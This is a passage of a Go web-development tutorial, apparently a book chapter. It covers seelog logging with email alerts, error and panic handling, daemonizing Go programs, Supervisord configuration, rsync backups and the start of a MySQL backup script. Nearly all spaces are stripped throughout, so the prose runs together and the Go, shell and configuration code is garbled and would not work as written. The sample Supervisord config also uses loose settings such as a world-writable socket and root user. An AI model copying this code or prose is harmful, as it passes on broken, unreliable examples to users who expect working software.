importlog"github.com/cihub/seelog"
funcmain(){deferlog.Flush()log.Info("HellofromSeelog!")}
Compileandruntheprogram.IfyouseeaHellofromseeloginyourapplicationlog,seeloghasbeensuccessfullyinstalledandisrunningoperatingnormally.
Customlogprocessingwithseelog
Seelogsupportscustomlogprocessing.Thefollowingcodesnippetisbasedontheitscustomlogprocessingpartofitspackage:
packagelogs
import("errors""fmt"seelog"github.com/cihub/seelog""io")
varLoggerseelog.LoggerInterface
funcloadAppConfig(){appConfig:=`<seelogminlevel="warn"><outputsformatid="common">
<rollingfiletype="size"filename="/data/logs/roll.log"maxsize="100000"maxrolls="5"/><filterlevels="critical"><filepath="/data/logs/critical.log"formatid="critical"/><smtpformatid="criticalemail"senderaddress="[email protected]"sendername="ShortUrlAPI"hostname="smtp.gmail.com"hostport="587"username="mailusername"password="mailpassword"><recipientaddress="[email protected]"/></smtp></filter></outputs><formats><formatid="common"format="%Date/%Time[%LEV]%Msg%n"/><formatid="critical"format="%File%FullPath%Func%Msg%n"/><formatid="criticalemail"format="Criticalerroronourserver!\n%Time%Date%RelFile%Func%Msg\nSentbySeelog"/></formats></seelog>`logger,err:=seelog.LoggerFromConfigAsBytes([]byte(appConfig))iferr!=nil{fmt.Println(err)return}UseLogger(logger)}
funcinit(){DisableLog()loadAppConfig()}
//DisableLogdisablesalllibrarylogoutputfuncDisableLog(){Logger=seelog.Disabled}
//UseLoggerusesaspecifiedseelog.LoggerInterfacetooutputlibrarylog.//UsethisfuncifyouareusingSeelogloggingsysteminyourapp.
funcUseLogger(newLoggerseelog.LoggerInterface){Logger=newLogger
}
Theaboveimplementsthethreemainfunctions:
DisableLog
InitializesaglobalvariableLoggerwithseelogdisabled,mainlyinordertopreventtheloggerfrombeingrepeatedlyinitialized
LoadAppConfig
Initializestheconfigurationsettingsofseelogaccordingtoaconfigurationfile.Inourexamplewearereadingtheconfigurationfromanin-memorystring,butofcourse,youcanreaditfromanXMLfilealso.Insidetheconfiguration,wesetupthefollowingparameters:
Seelog
Theminlevelparameterisoptional.Ifconfigured,logginglevelswhicharegreaterthanorequaltothespecifiedlevelwillberecorded.Theoptionalmaxlevelparameterissimilarlyusedtoconfigurethemaximumloggingleveldesired.
Outputs
Configurestheoutputdestination.Inourparticularcase,wechannelourloggingdataintotwooutputdestinations.Thefirstisarollinglogfilewherewecontinuouslysavethemostrecentwindowofloggingdata.Theseconddestinationisafilteredlogwhichrecordsonlycriticallevelerrors.Weadditionallyconfigureittoalertusviaemailwhenthesetypesoferrorsoccur.
Formats
Definesthevariousloggingformats.Youcanusecustomformatting,orpredefinedformatting-afulllistofpredefinedformatscanbefoundonseelog'swiki
UseLogger
Setthecurrentloggerasourlogprocessor
Above,we'vedefinedandconfiguredacustomlogprocessingpackage.Thefollowingcodedemonstrateshowwe'duseit:
packagemain
import("net/http""project/logs""project/configs""project/routes")
funcmain(){addr,_:=configs.MainConfig.String("server","addr")logs.Logger.Info("Startserverat:%v",addr)err:=http.ListenAndServe(addr,routes.NewMux())logs.Logger.Critical("Servererr:%v",err)}
Emailnotifications
Theaboveexampleexplainshowtosetupemailnotificationswithseelog.Asyoucansee,weusedthefollowingsmtpconfiguration:
<smtpformatid="criticalemail"senderaddress="[email protected]"sendername="ShortUrlAPI"hostname="smtp.gmail.com"hostport="587"username="mailusername"password="mailpassword"><recipientaddress="[email protected]"/></smtp>
Wesettheformatofouralertmessagesthroughthecriticalemailconfiguration,providingourmailserverparameterstobeabletoreceivethem.Wecanalsoconfigureournotifiertosendoutalertstoadditional
usersusingtherecipientconfiguration.It'sasimplematterofaddingonelineforeachadditionalrecipient.
Totestwhetherornotthiscodeisworkingproperly,youcanaddafakecriticalmessagetoyourapplicationlikeso:
logs.Logger.Critical("testCriticalmessage")
Don'tforgettodeleteitonceyou'redonetesting,orwhenyourapplicationgoeslive,yourinboxmaybefloodedwithemailnotifications.
Now,wheneverourapplicationlogsacriticalmessagewhileonline,youandyourspecifiedrecipientswillreceiveanotificationemail.Youandyourteamcanthenprocessandremedythesituationinatimelymanner.
Usingapplicationlogs
Whenitcomestologs,eachapplication'suse-casemayvary.Forexample,somepeopleuselogsfordataanalysispurposes,othersforperformanceoptimization.Somelogsareusedtoanalyzeuserbehaviorandhowpeopleinteractwithyourwebsite.Ofcourse,therearelogswhicharesimplyusedtorecordapplicationeventsasauxiliarydataforfindingproblems.
Asanexample,let'ssayweneedtotrackuserattemptsatloggingintooursystem.Thisinvolvesrecordingbothsuccessfulandunsuccessfulloginattemptsintoourlog.We'dtypicallyusethe"Info"logleveltorecordthesetypesofevents,ratherthansomethingmoreseriouslike"warn".Ifyou'reusingalinux-typesystem,youcanconvenientlyviewallunsuccessfulloginattemptsfromthelogusingthegrepcommandlikeso:
#cat/data/logs/roll.log|grep"failedlogin"2012-12-1111:12:00WARN:failedloginattemptfrom11.22.33.44usernamepassword
Thisway,wecaneasilyfindtheappropriateinformationinourapplicationlog,whichcanhelpustoperformstatisticalanalysisifneeded.Inaddition,wealsoneedtoconsiderthesizeoflogsgeneratedbyhigh-trafficwebapplications.Theselogscansometimesgrowunpredictably.Toresolvethisissue,wecansetseelogupwiththelogrotateconfigurationtoensurethatsinglelogfilesdonotconsumeexcessivediskspace.
Summary
Inthissection,we'velearnedthebasicsofseelogandhowtobuildacustomloggingsystemwithit.Wesawthatwecaneasilyconfigureseelogintoaspowerfulalogprocessingsystemasweneed,usingittosupplyuswithreliablesourcesofdataforanalysis.Throughloganalysis,wecanoptimizeoursystemandeasilylocatethesourcesofproblemswhentheyarise.Inaddition,seelogshipswithvariousdefaultloglevels.Wecanusetheminlevelconfigurationinconjunctionwithalogleveltoeasilysetuptestsorsendautomatednotificationmessages.
Links
DirectoryPrevioussection:DeploymentandmaintenanceNextsection:Errorsandcrashes
12.2ErrorsandcrashesOnceourwebapplicationsgolive,it'slikelythattherewillbesomeunforeseenerrors.Afewexampleofcommonerrorsthatmayoccurinthecourseofyourapplication'sdailyoperations,arelistedbelow:
DatabaseErrors:errorsrelatedtoaccessingthedatabaseserverorstoreddata.Thefollowingaresomedatabaseerrorswhichyoumayencounter:
ConnectionErrors:indicatesthataconnectiontothenetworkdatabaseservercouldnotbeestablished,asuppliedusernameorpasswordisincorrect,orthatthedatabasedoesnotexist.
QueryErrors:theillegalorincorrectuseofanSQLquerycanraiseanerrorsuchasthis.Thesetypesoferrorscanbeavoidedthroughrigoroustesting.DataErrors:databaseconstraintviolationsuchasattemptingtoinsertafieldwithaduplicateprimarykey.Thesetypesoferrorscanalsobeavoidedthroughrigoroustestingbeforedeployingyourapplicationintoaproductionenvironment.
ApplicationRuntimeErrors:Thesetypesoferrorsvarygreatly,coveringalmostallerrorcodeswhichmayappearduringruntime.Possibleapplicationerrorsareasfollows:
Filesystemandpermissionerrors:whentheapplicationattemptstoreadafilewhichdoesnotexistordoesnothavepermissiontoread,orwhenitattemptstowritetoafilewhichitisnotallowedtowriteto,errorsofthiscategorywilloccur.Afilesystemerrorwillalsooccurifanapplicationreadsafilewithanunexpectedformat,forinstanceaconfigurationfilethatshouldbeintheINIformatbutisinsteadstructuredasJSON.
Third-partyapplicationerrors:Theseerrorsoccurinapplicationswhichinterfacewithotherthird-partyapplicationsorservices.Forinstance,ifanapplicationpublishestweetsaftermakingcallstoTwitter'sAPI,it'sobviousthatTwitter'sservicesmustbeupandrunninginorderforourapplicationtocompleteitstask.Wemustalsoensurethatwesupplythesethird-partyinterfaceswiththeappropriateparametersinourcalls,orelsetheywillalsoreturnerrors.
HTTPerrors:Theseerrorsvarygreatly,andarebasedonuserrequests.Themostcommonisthe404NotFounderror,whichariseswhenusersattempttoaccessnon-existentresourcesinyourapplication.AnothercommonHTTPerroristhe401Unauthorizederror(authenticationisrequiredtoaccesstherequestedresource),403Forbiddenerror(users
arealtogetherrefusedaccesstothisresource)and503ServiceUnavailableerrors(indicativeofaninternalprogramerror).
Operatingsystemerrors:Thesesortsoferrorsoccurattheoperatingsystemlayerandcanhappenwhenoperatingsystemresourcesareover-allocated,leadingtocrashesandsysteminstability.Anothercommonoccurrenceatthisleveliswhentheoperatingsystemdiskgetsfilledtocapacity,makingitimpossibletowriteto.Thisnaturallyproducesinmanyerrors.Networkerrors:networkerrorstypicallycomeintwoflavors:oneiswhenusersissuerequeststotheapplicationandthenetworkdisconnects,thusdisruptingitsprocessingandresponsephase.Theseerrorsdonotcausetheapplicationtocrash,butcanaffectuseraccesstothewebsite;theotheriswhenapplicationsattemptstoreaddatafromdisconnectednetworks,causingreadfailures.Judicioustestingisparticularlyimportantwhenmakingnetworkcallstoavoidsuchproblems,whichcancauseyourapplicationtocrash.
Errorhandlinggoals
Beforeimplementingerrorhandling,wemustbeclearaboutwhatgoalswearetryingtoachieve.Ingeneral,errorhandlingsystemsshouldaccomplishthefollowing:
Usererrornotifications:whensystemorusererrorsoccur,causingcurrentuserrequeststofailtocomplete,affectedusersshouldbenotifiedoftheproblem.Forexample,forerrorscausebyuserrequests,weshowaunifiederrorpage(404.html).Whenasystemerroroccurs,weuseacustomerrorpagetoprovidefeedbackforusersastowhathappened-forinstance,thatthesystemistemporarilyunavailable(error.html).Logerrors:whensystemerrorsoccur(ingeneral,whenfunctionsreturnnon-nilerrorvariables),aloggingsystemsuchastheonedescribedearliershouldbeusedtorecordtheeventintoalogfilefile.Ifitisafatalerror,thesystemadministratorshouldalsobenotifiedviae-mail.In
generalhowever,most404errorsdonotwarrantthesendingofemailnotifications;recordingtheeventintoalogforlaterscrutinyisoftenadequate.Rollbackthecurrentrequestoperation:Ifauserrequestcausesaservererror,thenweneedtobeabletorollbackthecurrentoperation.Let'slookatanexample:asystemsavesauser-submittedformtoitsdatabase,thensubmitsthisdatatoathird-partyserver.However,thethird-partyserverdisconnectsandweareunabletoestablishaconnectionwithit,whichresultsinanerror.Inthiscase,thepreviouslystoredformdatashouldbedeletedfromthedatabase(voidshouldbeinformed),andtheapplicationshouldinformtheuserofthesystemerror.Ensurethattheapplicationcanrecoverfromerrors:weknowthatit'sdifficultforanyprogramtoguarantee100%uptime,soweneedtomakeprovisionforscenarioswhereourprogramsfail.Forinstanceifourprogramcrashes,wefirstneedtologtheerror,notifytherelevantpartiesinvolved,thenimmediatelygettheprogramupandrunningagain.Thisway,ourapplicationcancontinuetoprovideserviceswhileasystemadministratorinvestigatesandfixesthecauseoftheproblem.
Howtohandleerrors
Inchapter11,weaddressedtheprocessoferrorhandlinganddesignusingsomeexamples.Let'sgointotheseexamplesinabitmoredetail,andseesomeothererrorhandlingscenarios:
Notifytheuseroferrors:
Whenanerroroccurs,wecanpresenttheuseraccessingthepagewithtwokindsoferrorspages:404.htmlanderror.html.Hereisanexampleofwhatthesourcecodeofanerrorpagemightlooklike:
<htmllang="en">
<head><metahttp-equiv="Content-Type"content="text/html;charset=utf-8"
><title>PageNotFound</title><metaname="viewport"content="width=device-width,initial-scale=1.0"></head>
<body><divclass="container"><divclass="row"><divclass="span10"><divclass="hero-unit"><h1>404!</h1><p>{{.ErrorInfo}}</p></div></div><!--/span--></div></div></body>
</html>
Anotherexample:
<htmllang="en">
<head><metahttp-equiv="Content-Type"content="text/html;charset=utf-8"><title>systemerrorpage</title><metaname="viewport"content="width=device-width,initial-scale=1.0">
</head>
<body><divclass="container"><divclass="row"><divclass="span10"><divclass="hero-unit"><h1>systemistemporarilyunavailable!</h1><p>{{.ErrorInfo}}</p>
</div></div><!--/span--></div></div></body>
</html>
404error-handlinglogic,intheoccurrenceofasystemerror:
func(p*MyMux)ServeHTTP(whttp.ResponseWriter,r*http.Request){ifr.URL.Path=="/"{sayhelloName(w,r)return}NotFound404(w,r)return}
funcNotFound404(whttp.ResponseWriter,r*http.Request){log.Error("pagenotfound")//errorloggingt,_=t.ParseFiles("tmpl/404.html",nil)//parsethetemplatefileErrorInfo:="Filenotfound"//Getthecurrentuserinformationt.Execute(w,ErrorInfo)//executethetemplatemergeroperation}
funcSystemError(whttp.ResponseWriter,r*http.Request){log.Critical("SystemError")//systemerrortriggeredCritical,thenloggingwillnotonlysendamessaget,_=t.ParseFiles("tmpl/error.html",nil)//parsethetemplatefileErrorInfo:="systemistemporarilyunavailable"//Getthecurrentuserinformationt.Execute(w,ErrorInfo)//executethetemplatemergeroperation}
Howtohandleexceptions
Weknowthatmanyotherlanguageshavetry...catchkeywordsusedtocapturetheunusualcircumstances,butinfact,manyerrorscanbeexpectedtooccurwithouttheneedforexceptionhandling,andcanbeinsteadtreatedasanerrors.It'sforthisreasonthatGofunctionsreturnerrorsbydesign.Forexample,ifafileisnotfoundorifos.Openreturnsanerror,thesefunctionswillnotpanic;asanotherexample,ifanetworkconnectiongetsdisconnectedduringadatawriteoperation,thenet.ConnfamilyofWritefunctionswillreturnerrorsinsteadofpanicking.TheseerrorstatesaretobeexpectedinmostapplicationsandGoparticularlymakesitexplicitwhenoperationsmightfailbyreturningerrorvariables.Lookingattheexampleabove,wecanclearlyseetheerrorsthatcanbeexpectedtooccur.
Thereare,however,caseswherepanicshouldbeused.Forinstanceinoperationswherefailureisalmostimpossible,orincertainsituationswherethereisnowaytoreturnanerrorandtheoperationcannotcontinue,panicshouldbeused.Takeforexampleaprogramthattriestoobtainthevalueofanarrayatx[j],buttheindexjisoutofbounds.Thispartofthecodewillcausetheprogramtopanic,aswillothercritical,unexpectederrorsofthisnature.Bydefault,panickingwillkillofftheoffendingprocess(goroutine),allowingthecodewhichdispatchedthegoroutineanopportunitytorecoverfromtheerror.Thisway,thefunctioninwhichtheerroroccurredaswellasallsubsequentcodeafteritwillnotcontinuetoexecute.Go'spanicwasdeliberatelydesignedwiththisbehaviorinmind,whichisdifferentthantypicalerrorhandling;panicisreallyjustexceptionhandling.Intheexamplebelow,weexpectthatUser[UID]willreturnausernamefromtheUserarray,buttheUIDthatweuseisoutofboundsandthrowsanexception.Ifwedonothavearecoverymechanismtodealwiththisimmediately,theprocesswillbekilled,andthepanicwillpropagateupthestackuntilourprogramfinallycrashes.Inorderforourapplicationtoberobustandresilienttothesekindsofruntimeerrors,weneedtoimplementrecoverymechanismsincertainplaces.
funcGetUser(uidint)(usernamestring){deferfunc(){
ifx:=recover();x!=nil{username=""}}()
username=User[uid]return}
Theabovedescribesthedifferencesbetweenerrorsandexceptions.So,whenitcomesdowntodevelopingourGoapplications,whendoweuseoneortheother?Therulesaresimple:ifyoudefineafunctionthatyouanticipatemightfail,thenreturnanerrorvariable.Whencallinganotherpackage'sfunction,ifitisimplementedwell,thereshouldbenoneedtoworrythatitwillpanicunlessatrueexceptionhasoccurred(whetherrecoverylogichasbeenimplementedornot).Panicandrecovershouldonlybeusedinternallyinsidepackagestodealwithspecialcaseswherethestateoftheprogramcannotbeguaranteed,orwhenaprogrammer'serrorhasoccurred.ExternallyfacingAPIsshouldexplicitlyreturnerrorvalues.
Summary
Thisissectionsummarizeshowwebapplicationsshouldhandlevariouserrorssuchasnetwork,databaseandoperatingsystemerrors,amongothers.We'veoutlineseveraltechniquestoeffectivelydealwithruntimeerrorssuchas:displayinguser-friendlyerrornotifications,rollingbackactions,logging,andalertingsystemadministrators.Finally,weexplainedhowtocorrectlyhandleerrorsandexceptions.Theconceptofanerrorisoftenconfusedwiththatofanexception,howeverinGo,thereisacleardistinctionbetweenthetwo.Forthisreason,we'vediscussedtheprinciplesofprocessingbotherrorsandexceptionsinwebapplications.
Links
DirectoryPrevioussection:Logs
Nextsection:Deployment
12.3DeploymentWhenourwebapplicationisfinallyproductionready,whatarethestepsnecessarytogetitdeployed?InGo,anexecutablefileencapsulatingourapplicationiscreatedafterwecompileourprograms.ProgramswritteninCcanrunperfectlyasbackgrounddaemonprocesses,howeverGodoesnotyethavenativesupportfordaemons.ThegoodnewsisthatwecanusethirdpartytoolstohelpusmanagethedeploymentofourGoapplications,examplesofwhichareSupervisord,upstartanddaemontools,amongothers.ThissectionwillintroduceyoutosomebasicsoftheSupervisordprocesscontrolsystem.
Daemons
Currently,Goprogramscannotcannotberunasdaemonprocesses(foradditionalinformation,seetheopenissueongithubhere).It'sdifficulttoforkexistingthreadsinGobecausethereisnowayofensuringaconsistentstateinallthreadsthathavebeenused.
Wecan,however,seemanyattemptsatimplementingdaemonsonline,suchasinthetwofollowingways;
MarGooneimplementationoftheconceptofusingCommandtodeployapplications.Ifyoureallywanttodaemonizeyourapplications,itisrecommendedtousecodesimilartothefollowing:
d:=flag.Bool("d",false,"Whetherornottolaunchinthebackground(likeadaemon)")if*d{cmd:=exec.Command(os.Args[0],"-close-fds","-addr",*addr,"-call",*call,)serr,err:=cmd.StderrPipe()
iferr!=nil{log.Fatalln(err)}err=cmd.Start()iferr!=nil{log.Fatalln(err)}s,err:=ioutil.ReadAll(serr)s=bytes.TrimSpace(s)ifbytes.HasPrefix(s,[]byte("addr:")){fmt.Println(string(s))cmd.Process.Release()}else{log.Printf("unexpectedresponsefromMarGo:`%s`error:`%v`\n",s,err)cmd.Process.Kill()}}
Anothersolutionistousesyscall,butthissolutionisnotperfect:
packagemain
import("log""os""syscall")
funcdaemon(nochdir,nocloseint)int{varret,ret2uintptrvarerruintptr
darwin:=syscall.OS=="darwin"
//alreadyadaemonifsyscall.Getppid()==1{return0}
//forkofftheparentprocessret,ret2,err=syscall.RawSyscall(syscall.SYS_FORK,0,0,0)iferr!=0{return-1
}
//failureifret2<0{os.Exit(-1)}
//handleexceptionfordarwinifdarwin&&ret2==1{ret=0}
//ifwegotagoodPID,thenwecallexittheparentprocess.ifret>0{os.Exit(0)}
/*Changethefilemodemask*/_=syscall.Umask(0)
//createanewSIDforthechildprocesss_ret,s_errno:=syscall.Setsid()ifs_errno!=0{log.Printf("Error:syscall.Setsiderrno:%d",s_errno)}ifs_ret<0{return-1}
ifnochdir==0{os.Chdir("/")}
ifnoclose==0{f,e:=os.OpenFile("/dev/null",os.O_RDWR,0)ife==nil{fd:=f.Fd()syscall.Dup2(fd,os.Stdin.Fd())syscall.Dup2(fd,os.Stdout.Fd())syscall.Dup2(fd,os.Stderr.Fd())}}
return0}
WhilethetwosolutionsaboveimplementdaemonizationinGo,IstillcannotrecommendthatyouuseeithermethodssincethereisnoofficialsupportfordaemonsinGo.Notwithstandingthisfact,thefirstoptionisthemorefeasibleone,andiscurrentlybeingusedbysomewell-knownopensourceprojectslikeskynetforimplementingdaemons.
Supervisord
Above,we'velookedattwoschemesthatarecommonlyusedtoimplementdaemonsinGo,howeverbothmethodslackofficialsupport.So,it'srecommendedthatyouuseathird-partytooltomanageapplicationdeployment.HerewetakealookattheSupervisordproject,implementedinPython,whichprovidesextensivetoolsforprocessmanagement.SupervisordwillhelpyoutodaemonizeyourGoapplications,alsoallowingyoutodothingslikestart,shutdownandrestartyourapplicationswithsomesimplecommands,amongmanyotheractions.Inaddition,Supervisordmanagedprocessescanautomaticallyrestartprocesseswhichhavecrashed,ensuringthatprogramscanrecoverfromanyinterruptions.
Asanaside,IrecentlyfellintoacommonpitfallwhiletryingtodeployanapplicationusingSupervisord.AllapplicationsdeployedusingSupervisordarebornoutoftheSupervisordparentprocess.Whenyouchangeanoperatingsystemfiledescriptor,don'tforgettocompletelyrestartSupervisord-simplyrestartingtheapplicationitismanagingwillnotsuffice.WhenIfirstdeployedanapplicationwithSupervisord,Imodifiedthedefaultfiledescriptorfield,changingthedefaultnumberfrom1024to100,000andthenrestartingmyapplication.Inreality,Supervisordcontinuedusingonly1024filedescriptorstomanageallofmyapplication'sprocesses.Upondeployingmyapplication,theloggerbeganreportingalackoffiledescriptors!Itwasalongprocessfindingandfixingthismistake,sobeware!
InstallingSupervisord
Supervisordcaneasilybeinstalledusingsudoeasy_installsupervisor.Ofcourse,thereisalsotheoptionofdirectlydownloadingitfromitsofficialwebsite,uncompressingit,goingintothefolderthenrunningsetup.pyinstalltoinstallitmanually.
Ifyou'regoingtheeasy_installroute,thenyouneedtofirstinstallsetuptools
Gotohttp://pypi.python.org/pypi/setuptools#filesanddownloadtheappropriatefile,dependingonyoursystem'spythonversion.Enterthedirectoryandexecuteshsetuptoolsxxxx.egg.Whenthenscriptisdone,you'llbeabletousetheeasy_installcommandtoinstallSupervisord.
ConfiguringSupervisord
Supervisord'sdefaultconfigurationfilepathis/etc/supervisord.conf,andcanbemodifiedusingatexteditor.Thefollowingiswhatatypicalconfigurationfilemaylooklike:
;/etc/supervisord.conf[unix_http_server]file=/var/run/supervisord.sockchmod=0777chown=root:root
[inet_http_server]#Webmanagementinterfacesettingsport=9001username=adminpassword=yourpassword
[supervisorctl];Must'unix_http_server'matchthesettingsinsideserverurl=unix:///var/run/supervisord.sock
[supervisord]logfile=/var/log/supervisord/supervisord.log;(mainlogfile;default$CWD/supervisord.log)logfile_maxbytes=50MB;(maxmainlogfilebytesb4rotation;default50MB)
logfile_backups=10;(numofmainlogfilerotationbackups;default10)loglevel=info;(loglevel;defaultinfo;others:debug,warn,trace)pidfile=/var/run/supervisord.pid;(supervisordpidfile;defaultsupervisord.pid)nodaemon=true;(startinforegroundiftrue;defaultfalse)minfds=1024;(min.availstartupfiledescriptors;default1024)minprocs=200;(min.availprocessdescriptors;default200)user=root;(defaultiscurrentuser,requiredifroot)childlogdir=/var/log/supervisord/;('AUTO'childlogdir,default$TEMP)
[rpcinterface:supervisor]supervisor.rpcinterface_factory=supervisor.rpcinterface:make_main_rpcinterface;Managetheconfigurationofasingleprocess,youcanaddmultipleprogram[program:blogdemon]command=/data/blog/blogdemonautostart=truestartsecs=5user=rootredirect_stderr=truestdout_logfile=/var/log/supervisord/blogdemon.log
Supervisordmanagement
Afterinstallationiscomplete,twoSupervisordcommandsbecomeavailabletoyouonthecommandline:supervisorandsupervisorctl.Thecommandsareasfollows:
supervisord:initialstartup,launch,andprocessconfigurationmanagement.supervisorctlstopprogramxxx:stoptheprogramxxxprocess,whereprogramxxxisavalueconfiguredinyoursupervisord.conffile.Forinstance,ifyouhavesomethinglike[program:blogdemon]configured,
youwouldusethesupervisorctlstopblogdemoncommandtokilltheprocess.supervisorctlstartprogramxxx:starttheprogramxxxprocesssupervisorctlrestartprogramxxx:restarttheprogramxxxprocesssupervisorctlstopall:stopallprocesses;note:start,restart,stopwillnotloadthelatestconfigurationfiles.supervisorctlreload:loadthelatestconfigurationfile,launchthem,andmanageallprocesseswiththenewconfiguration.
Summary
Inthissection,wedescribedhowtoimplementdaemonsinGo.WelearnedthatGodoesnotnativelysupportdaemons,andthatweneedtousethird-partytoolstohelpusmanagethem.OnesuchtoolistheSupervisordprocesscontrolsystemwhichwecanusetoeasilydeployandmanageourGoprograms.
Links
DirectoryPrevioussection:ErrorsandcrashesNextsection:Backupandrecovery
12.4BackupandrecoveryInthissection,we'lldiscussanotheraspectofapplicationmanagement:databackupandrecoveryonproductionservers.Weoftenencountersituationswhereproductionserversdon'tbehaveasasweexpectthemto.Servernetworkoutages,harddrivemalfunctions,operatingsystemcrashesandothersimilareventscancausedatabasestobecomeunavailable.Theneedtorecoverfromthesetypesofeventshasledtotheemergenceofmanycoldstandby/hotstandbytoolsthatcanhelptofacilitatedisasterrecovery
remotely.Inthissection,we'llexplainhowtobackupdeployedapplicationsinadditiontobackingupandrestoringanyMySQLandRedisdatabasesyoumightbeusing.
ApplicationBackup
Inmostclusterenvironments,webapplicationsdonotneedtobebackedupsincetheyareactuallycopiesofcodefromourlocaldevelopmentenvironment,orfromaversioncontrolsystem.Inmanycaseshowever,weneedtobackupdatawhichhasbeensuppliedbytheusersofoursite.Forinstance,whensitesrequireuserstouploadfiles,weneedtobeabletobackupanyfilesthathavebeenuploadedbyuserstoourwebsite.Thecurrentapproachforprovidingthiskindofredundancyistoutilizeso-calledcloudstorage,whereuserfilesandotherrelatedresourcesarepersistedintoahighlyavailablenetworkofservers.Ifoursystemcrashes,aslongasuserdatahasbeenpersistedontothecloud,wecanatleastbesurethatnodatawillbelost.
Butwhataboutthecaseswherewedidnotbackupourdatatoacloudservice,orwherecloudstoragewasnotanoption?Howdowebackupdatafromourwebapplicationsthen?Here,wedescribeatoolcalledrysnc,whichcanbecommonlyfoundonunix-likesystems.Rsyncisatoolwhichcanbeusedtosynchronizefilesresidingondifferentsystems,andaperfectuse-caseforthisfunctionalityistokeepourwebsitebackedup.
Note:CwrsyncisanimplementationofrsyncfortheWindowsenvironment
Rsyncinstallation
Youcanfindthelatestversionofrsyncfromitsofficialwebsite.Ofcourse,becausersyncisveryusefulsoftware,manyLinuxdistributionswillalreadyhaveitinstalledbydefault.
PackageInstallation:
#sudoapt-getinstallrsync;Note:debian,ubuntuandotheronlineinstallationmethods;#yuminstallrsync;Note:Fedora,Redhat,CentOSandotheronlineinstallationmethods;#rpm-ivhrsync;Note:Fedora,Redhat,CentOSandotherrpmpackageinstallationmethods;
FortheotherLinuxdistributions,pleaseusetheappropriatepackagemanagementmethodstoinstallit.Alternatively,youcanbuildityourselffromthesource:
tarxvfrsync-xxx.tar.gzcdrsync-xxx./configure-prefix=/usr;make;makeinstall
Note:Ifwanttocompileandinstallthersyncfromitssource,youhavetoinstallgcccompilertoolssuchasjob.
Note:Beforeusingsourcepackagescompiledandinstalled,youhavetoinstallgcccompilertoolssuchasjob
RsyncConfiguration
Rsynccanbeconfiguredfromthreemainconfigurationfiles:rsyncd.confwhichisthemainconfigurationfile,rsyncd.secretswhichholdspasswords,andrsyncd.motdwhichcontainsserverinformation.
Youcanrefertotheofficialdocumentationonrsync'swebsiteformoredetailedexplanations,butherewewillsimplyintroducethebasicsofsettinguprsync:.
Startinganrsyncdaemonserver-side:
#/usr/bin/rsync--daemon--config=/etc/rsyncd.conf
the--daemonparameterisforrunningrsyncinservermode.Makethis
thedefaultboot-timesettingbyjoiningittotherc.localfile:
echo'rsync--daemon'>>/etc/rc.d/rc.local
Setupanrsyncusernameandpassword,makingsurethatit'sownedonlybyroot,sothatlocalunauthorizedusersorexploitsdonothaveaccesstoit.Ifthesepermissionsarenotsetcorrectly,rsyncmaynotboot:
echo'YourUsername:YourPassword'>/etc/rsyncd.secretschmod600/etc/rsyncd.secrets
Clientsynchronization:
Clientscansynchronizeserverfileswiththefollowingcommand:
rsync-avzP--delete--password-file=rsyncd.secretsusername@192.168.145.5::www/var/rsync/backup
Let'sbreakthisdownintoafewkeypoints:
1. -avzParesomecommonoptions.Usersync--helptoreviewwhatthesedo.
2. --deletedeletesextraneousfilesonthereceivingside.Forexample,iffilesaredeletedonthesendingside,thenexttimethetwomachinesaresynchronized,thereceivingsideswillautomaticallydeletethecorrespondingfiles.
3. --password-filespecifiesapasswordfileforaccessinganrsyncdaemon.Ontheclientside,thisistypicallytheclient/etc/rsyncd.secretsfile,andontheserverside,it's/etc/rsyncd.secrets.WhenusingsomethinglikeCrontoautomatersync,youwon'tneedtomanuallyenterapassword.
4. usernamespecifiestheusernametobeusedinconjunctionwiththeserver-side/etc/rsyncd.secretspassword
5. 192.168.145.5istheIPaddressoftheserver
6. ::www(notethedoublecolons),specifiescontactinganrsyncdaemondirectlyviaTCPforsynchronizingthewwwmoduleaccordingtotheserver-sideconfigurationslocatedin/etc/rsyncd.conf.Whenonlyasinglecolonisused,thersyncdaemonisnotcontacteddirectly;instead,aremote-shellprogramsuchassshisusedasthetransport.
Inordertoperiodicallysynchronizefiles,youcansetupacrontabfilethatwillrunrsynccommandsasoftenasneeded.Ofcourse,userscanvarythefrequencyofsynchronizationaccordingtohowcriticalitistokeepcertaindirectoriesorfilesuptodate.
MySQLbackup
MySQLdatabasesarestillthemainstream,go-tosolutionformostwebapplications.ThetwomostcommonmethodsofbackingupMySQLdatabasesarehotbackupsandcoldbackups.Hotbackupsareusuallyusedwithsystemssetupinamaster/slaveconfigurationtobackuplivedata(themaster/slavesynchronizationmodeistypicallyusedforseparatingdatabaseread/writeoperations,butcanalsobeusedforbackinguplivedata).Thereisalotofinformationavailableonlinedetailingthevariouswaysonecanimplementthistypeofscheme.Forcoldbackups,incomingdataisnotbackedupinreal-timeasisthecasewithhotbackups.Instead,databackupsareperformedperiodically.Thisway,ifthesystemfails,theintegrityofdatabeforeacertainperiodoftimecanstillbeguaranteed.Forinstance,incaseswhereasystemmalfunctioncausesdatatobelostandthemaster/slavemodelisunabletoretrieveit,coldbackupscanbeusedforapartialrestoration.
Ashellscriptisgenerallyusedtoimplementregularcoldbackupsofdatabases,executingsynchronizationtasksusingrsyncinanon-localmode.
ThefollowingisanexampleofabackupscriptthatperformsscheduledbackupsforaMySQLdatabase.Weusethemysqldumpprogramwhichallowsustoexportthedatabasetoafile.
#!/bin/bash#Configurationinformation;modifyitasneededmysql_user="USER"#MySQLbackupusermysql_password="PASSWORD"#MySQLbackupuser'spasswordmysql_host="localhost"mysql_port="3306"mysql_charset="utf8"#MySQLencodingbackup_db_arr=("db1""db2")#Nameofthedatabasetobebackedup,separatingmultipledatabaseswihspaces("DB1","DB2"db3")backup_location=/var/www/mysql#Backupdatastoragelocation;pleasedonotendwitha"/"andleaveitatitsdefault,fortheprogramtoautomaticallycreateafolderexpire_backup_delete="ON"#Whethertodeleteoutdatedbackupsornotexpire_days=3#Settheexpirationtimeofbackups,indays(defaultstothreedays);thisisonlyvalidwhenthe`expire_backup_delete`optionis"ON"
#Wedonotneedtomodifythefollowinginitialsettingsbelowbackup_time=`date+%Y%m%d%H%M`#Definethebackuptimeformatbackup_Ymd=`date+%Y-%m-%d`#Definethebackupdirectorydatetimebackup_3ago=`date-d'3daysago'+%Y-%m-%d`#3daysbeforethedate
backup_dir=$backup_location/$backup_Ymd#Fullpathtothebackupfolderwelcome_msg="WelcometouseMySQLbackuptools!"#Greeting
